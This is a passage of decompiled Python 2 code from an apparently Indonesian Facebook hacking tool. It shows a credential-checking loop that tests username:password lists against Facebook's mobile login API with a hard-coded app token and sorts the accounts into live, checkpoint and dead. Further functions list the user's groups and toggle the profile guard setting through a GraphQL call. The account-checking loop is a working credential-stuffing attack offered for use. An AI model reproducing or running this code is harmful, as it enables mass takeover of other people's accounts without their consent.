\x1b[1;91m:\x1b[1;97m ') 1983 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1984 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1985 | for meki in list: 1986 | username, password = meki.strip().split(str(pemisah)) 1987 | url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' 1988 | data = requests.get(url) 1989 | mpsh = json.loads(data.text) 1990 | if 'access_token' in mpsh: 1991 | live.append(password) 1992 | print '\x1b[1;97m[\x1b[1;92mLive\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password 1993 | elif 'www.facebook.com' in mpsh['error_msg']: 1994 | cek.append(password) 1995 | print '\x1b[1;97m[\x1b[1;93mCheck\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password 1996 | else: 1997 | die.append(password) 1998 | print '\x1b[1;97m[\x1b[1;91mMati\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password 1999 | 2000 | print '\n\x1b[1;91m[+] \x1b[1;97mTotal\x1b[1;91m : \x1b[1;97mLive=\x1b[1;92m' + str(len(live)) + ' \x1b[1;97mCheck=\x1b[1;93m' + str(len(cek)) + ' \x1b[1;97mDie=\x1b[1;91m' + str(len(die)) 2001 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 2002 | lain() 2003 | 2004 | 2005 | def grupsaya(): 2006 | os.system('clear') 2007 | try: 2008 | toket = open('login.txt', 'r').read() 2009 | except IOError: 2010 | print '\x1b[1;91m[!] Token tidak ditemukan' 2011 | os.system('rm -rf login.txt') 2012 | time.sleep(1) 2013 | login() 2014 | else: 2015 | os.system('clear') 2016 | print logo 2017 | print 40 * '\x1b[1;97m\xe2\x95\x90' 2018 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 2019 | print 40 * '\x1b[1;97m\xe2\x95\x90' 2020 | try: 2021 | uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket) 2022 | gud = json.loads(uh.text) 2023 | for p in gud['data']: 2024 | nama = p['name'] 2025 | id = p['id'] 2026 | f = open('grupid.txt', 'w') 2027 | listgrup.append(id) 2028 | f.write(id + '\n') 2029 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + str(nama) 2030 | print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + str(id) 2031 | print 40 * '\x1b[1;97m=' 2032 | 2033 | print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Grup \x1b[1;96m%s' % len(listgrup) 2034 | print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97mgrupid.txt' 2035 | f.close() 2036 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 2037 | lain() 2038 | except (KeyboardInterrupt, EOFError): 2039 | print '\x1b[1;91m[!] Terhenti' 2040 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 2041 | lain() 2042 | except KeyError: 2043 | os.remove('grupid.txt') 2044 | print '\x1b[1;91m[!] Grup tidak ditemukan' 2045 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 2046 | lain() 2047 | except requests.exceptions.ConnectionError: 2048 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 2049 | keluar() 2050 | except IOError: 2051 | print '\x1b[1;91m[!] Kesalahan saat membuat file' 2052 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 2053 | lain() 2054 | 2055 | 2056 | def guard(): 2057 | global toket 2058 | os.system('clear') 2059 | try: 2060 | toket = open('login.txt', 'r').read() 2061 | except IOError: 2062 | print '\x1b[1;91m[!] Token tidak ditemukan' 2063 | os.system('rm -rf login.txt') 2064 | time.sleep(1) 2065 | login() 2066 | 2067 | os.system('clear') 2068 | print logo 2069 | print 40 * '\x1b[1;97m\xe2\x95\x90' 2070 | print '\x1b[1;37;40m1. Aktifkan' 2071 | print '\x1b[1;37;40m2. NonAktifkan' 2072 | print '\x1b[1;31;40m0. Kembali' 2073 | print 2074 | g = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 2075 | if g == '1': 2076 | aktif = 'true' 2077 | gaz(toket, aktif) 2078 | else: 2079 | if g == '2': 2080 | non = 'false' 2081 | gaz(toket, non) 2082 | else: 2083 | if g == '0': 2084 | lain() 2085 | else: 2086 | if g == '': 2087 | keluar() 2088 | else: 2089 | keluar() 2090 | 2091 | 2092 | def get_userid(toket): 2093 | url = 'https://graph.facebook.com/me?access_token=%s' % toket 2094 | res = requests.get(url) 2095 | uid = json.loads(res.text) 2096 | return uid['id'] 2097 | 2098 | 2099 | def gaz(toket, enable=True): 2100 | id = get_userid(toket) 2101 | data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id)) 2102 | headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth %s' % toket} 2103 | url = 'https://graph.facebook.com/graphql' 2104 | res = requests.post(url, data=data, headers=headers) 2105 | print res.text 2106 | if '"is_shielded":true' in res.text: 2107 | os.system('clear') 2108 | print logo 2109 | print 40 * '\x1b[1;97m\xe2\x95\x90' 2110 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDiaktifkan' 2111 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 2112 | lain() 2113 | else: 2114 | if '"is_shielded":false' in res.text: 2115 | os.system('clear') 2116 | print logo 2117 | print 40 * '\x1b[1;97m\xe2\x95\x90' 2118 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDinonaktifkan' 2119 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 2120 | lain() 2121 | else: 2122 | print '\x1b[1;91m[!] Error' 2123 | keluar() 2124 | 2125 | 2126 | if __name__ == '__main__': 2127 | login() 2128 | # okay decompiling 3.pyc 2129 | --------------------------------------------------------------------------------